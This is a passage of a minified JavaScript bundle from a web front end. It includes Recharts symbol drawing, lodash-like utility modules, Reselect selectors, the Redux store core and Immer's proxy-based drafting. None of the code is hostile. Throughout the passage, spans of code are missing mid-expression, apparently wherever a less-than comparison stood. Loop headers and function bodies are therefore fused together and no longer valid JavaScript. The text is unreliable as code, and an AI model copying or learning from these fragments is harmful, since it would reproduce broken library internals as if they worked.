or(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},Fj=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Co(r,t))===n)}var Pt=e=>e===null||typeof e>"u",Go=e=>Pt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function tr(e){return e!=null}function cs(){}var X_=["type","size","sizeType"];function Am(){return Am=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Go(e));return Uj[t]||kx},i6=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*n6;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},a6=(e,t)=>{Uj["symbol".concat(Go(e))]=t},Vj=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=e6(e,X_),a=Qg(Qg({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=r6(o),h=A_().type(m).size(i6(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=It(a);return he(u)&&he(d)&&he(n)?p.createElement("path",Am({},f,{className:Xe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};Vj.registerSymbol=a6;var Hj=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Sx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{bx(i)&&(r[i]=a=>n[i](n,a))}),r},s6=(e,t,n)=>r=>(e(t,n,r),null),o6=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];bx(i)&&typeof a=="function"&&(r||(r={}),r[i]=s6(a,t,n))}),r};function Jg(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function l6(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var Kj={},qj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(Xj);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Xj;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(hd);var Zj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Zj);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hd,n=Zj;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(Gj);var Qj={},Jj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(Jj);var ek={},Cx={},tk={},Px={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Px);var Ex={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Ex);var Ax={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Ax);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Px,n=Ex,r=Ax;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Cx);var nk={},_x={},rk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(rk);var xd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(xd);var Ox={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",_="[object Float32Array]",A="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=_,e.float64ArrayTag=A,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Ox);var ik={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(ik);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=rk,n=xd,r=Ox,i=Ex,a=ik;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(ek);var ak={},sk={},ok={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=_x,n=xd,r=Ox;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(ok);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ok;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(sk);var lk={},Tx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?w6:b6;pk.useSyncExternalStore=Xa.useSyncExternalStore!==void 0?Xa.useSyncExternalStore:j6;fk.exports=pk;var k6=fk.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var vd=p,N6=k6;function S6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var z6=typeof Object.is=="function"?Object.is:S6,C6=N6.useSyncExternalStore,P6=vd.useRef,E6=vd.useEffect,A6=vd.useMemo,_6=vd.useDebugValue;dk.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=P6(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=A6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,z6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=C6(e,a[0],a[1]);return E6(function(){o.hasValue=!0,o.value=l},[l]),_6(l),l};uk.exports=dk;var O6=uk.exports,Mx=p.createContext(null),T6=e=>e,it=()=>{var e=p.useContext(Mx);return e?e.store.dispatch:T6},fc=()=>{},M6=()=>fc,L6=(e,t)=>e===t;function ye(e){var t=p.useContext(Mx),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:fc,[t,e]);return O6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:M6,t?t.store.getState:fc,t?t.store.getState:fc,n,L6)}function I6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function D6(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function R6(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var ty=e=>Array.isArray(e)?e:[e];function $6(e){const t=Array.isArray(e[0])?e[0]:e;return R6(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function B6(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Ol(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function V6(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),I6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=mk,argsMemoizeOptions:x=[]}=d,g=ty(m),y=ty(x),v=$6(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=B6(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var T=V6(mk),H6=Object.assign((e,t=T)=>{D6(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>H6}),hk={},xk={},vk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(vk);var gk={},Lx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Lx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vk,n=gk,r=md;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(xk);var yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(hk);var K6=hk.sortBy;const gd=Lr(K6);var bk=e=>e.legend.settings,q6=e=>e.legend.size,Y6=e=>e.legend.payload;T([Y6,bk],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?gd(r,n):r});var Tl=1;function G6(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>Tl||Math.abs(o.left-t.left)>Tl||Math.abs(o.top-t.top)>Tl||Math.abs(o.width-t.width)>Tl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function jt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var X6=typeof Symbol=="function"&&Symbol.observable||"@@observable",ry=X6,Qf=()=>Math.random().toString(36).substring(7).split("").join("."),Z6={INIT:`@@redux/INIT${Qf()}`,REPLACE:`@@redux/REPLACE${Qf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Qf()}`},Xc=Z6;function Dx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function wk(e,t,n){if(typeof e!="function")throw new Error(jt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(jt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(jt(1));return n(wk)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(jt(3));return i}function f(y){if(typeof y!="function")throw new Error(jt(4));if(c)throw new Error(jt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(jt(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!Dx(y))throw new Error(jt(7));if(typeof y.type>"u")throw new Error(jt(8));if(typeof y.type!="string")throw new Error(jt(17));if(c)throw new Error(jt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(jt(10));r=y,m({type:Xc.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(jt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[ry](){return this}}}return m({type:Xc.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[ry]:x}}function Q6(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Xc.INIT})>"u")throw new Error(jt(12));if(typeof n(void 0,{type:Xc.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(jt(13))})}function jk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(jt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function Zc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function J6(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(jt(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=Zc(...l)(i.dispatch),{...i,dispatch:a}}}function kk(e){return Dx(e)&&"type"in e&&typeof e.type=="string"}var Nk=Symbol.for("immer-nothing"),iy=Symbol.for("immer-draftable"),Dt=Symbol.for("immer-state");function In(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var rn=Object,Za=rn.getPrototypeOf,Qc="constructor",yd="prototype",_m="configurable",Jc="enumerable",pc="writable",Eo="value",Er=e=>!!e&&!!e[Dt];function Vn(e){var t;return e?Sk(e)||wd(e)||!!e[iy]||!!((t=e[Qc])!=null&&t[iy])||jd(e)||kd(e):!1}var eO=rn[yd][Qc].toString(),ay=new WeakMap;function Sk(e){if(!e||!Rx(e))return!1;const t=Za(e);if(t===null||t===rn[yd])return!0;const n=rn.hasOwnProperty.call(t,Qc)&&t[Qc];if(n===Object)return!0;if(!va(n))return!1;let r=ay.get(n);return r===void 0&&(r=Function.toString.call(n),ay.set(n,r)),r===eO}function bd(e,t,n=!0){Xo(e)===0?(n?Reflect.ownKeys(e):rn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xo(e){const t=e[Dt];return t?t.type_:wd(e)?1:jd(e)?2:kd(e)?3:0}var sy=(e,t,n=Xo(e))=>n===2?e.has(t):rn[yd].hasOwnProperty.call(e,t),Om=(e,t,n=Xo(e))=>n===2?e.get(t):e[t],eu=(e,t,n,r=Xo(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function tO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var wd=Array.isArray,jd=e=>e instanceof Map,kd=e=>e instanceof Set,Rx=e=>typeof e=="object",va=e=>typeof e=="function",Jf=e=>typeof e=="boolean";function nO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var xr=e=>e.copy_||e.base_,$x=e=>e.modified_?e.copy_:e.base_;function Tm(e,t){if(jd(e))return new Map(e);if(kd(e))return new Set(e);if(wd(e))return Array[yd].slice.call(e);const n=Sk(e);if(t===!0||t==="class_only"&&!n){const r=rn.getOwnPropertyDescriptors(e);delete r[Dt];let i=Reflect.ownKeys(r);for(let a=0;a1&&rn.defineProperties(e,{set:Ml,add:Ml,clear:Ml,delete:Ml}),rn.freeze(e),t&&bd(e,(n,r)=>{Bx(r,!0)},!1)),e}function rO(){In(2)}var Ml={[Eo]:rO};function Nd(e){return e===null||!Rx(e)?!0:rn.isFrozen(e)}var tu="MapSet",Mm="Patches",oy="ArrayMethods",zk={};function na(e){const t=zk[e];return t||In(0,e),t}var ly=e=>!!zk[e],Ao,Ck=()=>Ao,iO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:ly(tu)?na(tu):void 0,arrayMethodsPlugin_:ly(oy)?na(oy):void 0});function cy(e,t){t&&(e.patchPlugin_=na(Mm),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Lm(e){Im(e),e.drafts_.forEach(aO),e.drafts_=null}function Im(e){e===Ao&&(Ao=e.parent_)}var uy=e=>Ao=iO(Ao,e);function aO(e){const t=e[Dt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function dy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Dt].modified_&&(Lm(t),In(4)),Vn(e)&&(e=fy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Dt].base_,e,t)}else e=fy(t,n);return sO(t,e,!0),Lm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Nk?e:void 0}function fy(e,t){if(Nd(t))return t;const n=t[Dt];if(!n)return nu(t,e.handledSet_,e);if(!Sd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);Ak(n,e)}return n.copy_}function sO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Bx(t,n)}function Pk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Sd=(e,t)=>e.scope_===t,oO=[];function Ek(e,t,n,r){const i=xr(e),a=e.type_;if(r!==void 0&&Om(i,r,a)===t){eu(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;bd(i,(c,u)=>{if(Er(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??oO;for(const l of o)eu(i,l,n,a)}function lO(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!Sd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=$x(a);Ek(e,a.draft_??a,o,n),Ak(a,i)})}function Ak(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}Pk(e)}}function cO(e,t,n){const{scope_:r}=e;if(Er(n)){const i=n[Dt];Sd(i,r)&&i.callbacks_.push(function(){mc(e);const o=$x(i);Ek(e,n,o,t)})}else Vn(n)&&e.callbacks_.push(function(){const a=xr(e);e.type_===3?a.has(n)&&nu(n,r.handledSet_,r):Om(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&nu(Om(e.copy_,t,e.type_),r.handledSet_,r)})}function nu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Er(e)||t.has(e)||!Vn(e)||Nd(e)||(t.add(e),bd(e,(r,i)=>{if(Er(i)){const a=i[Dt];if(Sd(a,n)){const o=$x(a);eu(e,r,o,e.type_),Pk(a)}}else Vn(i)&&nu(i,t,n)})),e}function uO(e,t){const n=wd(e),r={type_:n?1:0,scope_:t?t.scope_:Ck(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=ru;n&&(i=[r],a=_o);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var ru={get(e,t){if(t===Dt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=xr(e);if(!sy(i,t,e.type_))return dO(e,i,t);const a=i[t];if(e.finalized_||!Vn(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&nO(t))return a;if(a===ep(e.base_,t)){mc(e);const o=e.type_===1?+t:t,l=Rm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in xr(e)},ownKeys(e){return Reflect.ownKeys(xr(e))},set(e,t,n){const r=_k(xr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=ep(xr(e),t),a=i==null?void 0:i[Dt];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(tO(n,i)&&(n!==void 0||sy(e.base_,t,e.type_)))return!0;mc(e),Dm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),cO(e,t,n)),!0},deleteProperty(e,t){return mc(e),ep(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Dm(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=xr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[pc]:!0,[_m]:e.type_!==1||t!=="length",[Jc]:r[Jc],[Eo]:n[t]}},defineProperty(){In(11)},getPrototypeOf(e){return Za(e.base_)},setPrototypeOf(){In(12)}},_o={};for(let e in ru){let t=ru[e];_o[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}_o.deleteProperty=function(e,t){return _o.set.call(this,e,t,void 0)};_o.set=function(e,t,n){return ru.set.call(this,e[0],t,n,e[0])};function ep(e,t){const n=e[Dt];return(n?xr(n):e)[t]}function dO(e,t,n){var i;const r=_k(t,n);return r?Eo in r?r[Eo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function _k(e,t){if(!(t in e))return;let n=Za(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Za(n)}}function Dm(e){e.modified_||(e.modified_=!0,e.parent_&&Dm(e.parent_))}function mc(e){e.copy_||(e.assigned_=new Map,e.copy_=Tm(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var fO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(va(n)&&!va(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}va(r)||In(6),i!==void 0&&!va(i)&&In(7);let a;if(Vn(n)){const o=uy(this),l=Rm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?Lm(o):Im(o)}return cy(o,i),dy(a,o)}else if(!n||!Rx(n)){if(a=r(n),a===void 0&&(a=n),a===Nk&&(a=void 0),this.autoFreeze_&&Bx(a,!0),i){const o=[],l=[];na(Mm).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else In(1,n)},this.produceWithPatches=(n,r)=>{if(va(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},Jf(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),Jf(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),Jf(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Vn(t)||In(8),Er(t)&&(t=Fn(t));const n=uy(this),r=Rm(n,t,void 0);return r[Dt].isManual_=!0,Im(n),r}finishDraft(t,n){const r=t&&t[Dt];(!r||!r.isManual_)&&In(9);const{scope_:i}=r;return cy(i,n),dy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=na(Mm).applyPatches_;return Er(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Rm(e,t,n,r){const[i,a]=jd(t)?na(tu).proxyMap_(t,n):kd(t)?na(tu).proxySet_(t,n):uO(t,n);return((n==null?void 0:n.scope_)??Ck()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?lO(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function Fn(e){return Er(e)||In(10,e),Ok(e)}function Ok(e){if(!Vn(e)||Nd(e))return e;const t=e[Dt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Tm(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Tm(e,!0);return bd(n,(i,a)=>{eu(n,i,Ok(a))},r),t&&(t.finalized_=!1),n}var pO=new fO,Tk=pO.produce;function Mk(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var mO=Mk(),hO=Mk,xO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Zc:Zc.apply(null,arguments)};function zn(e,t){function 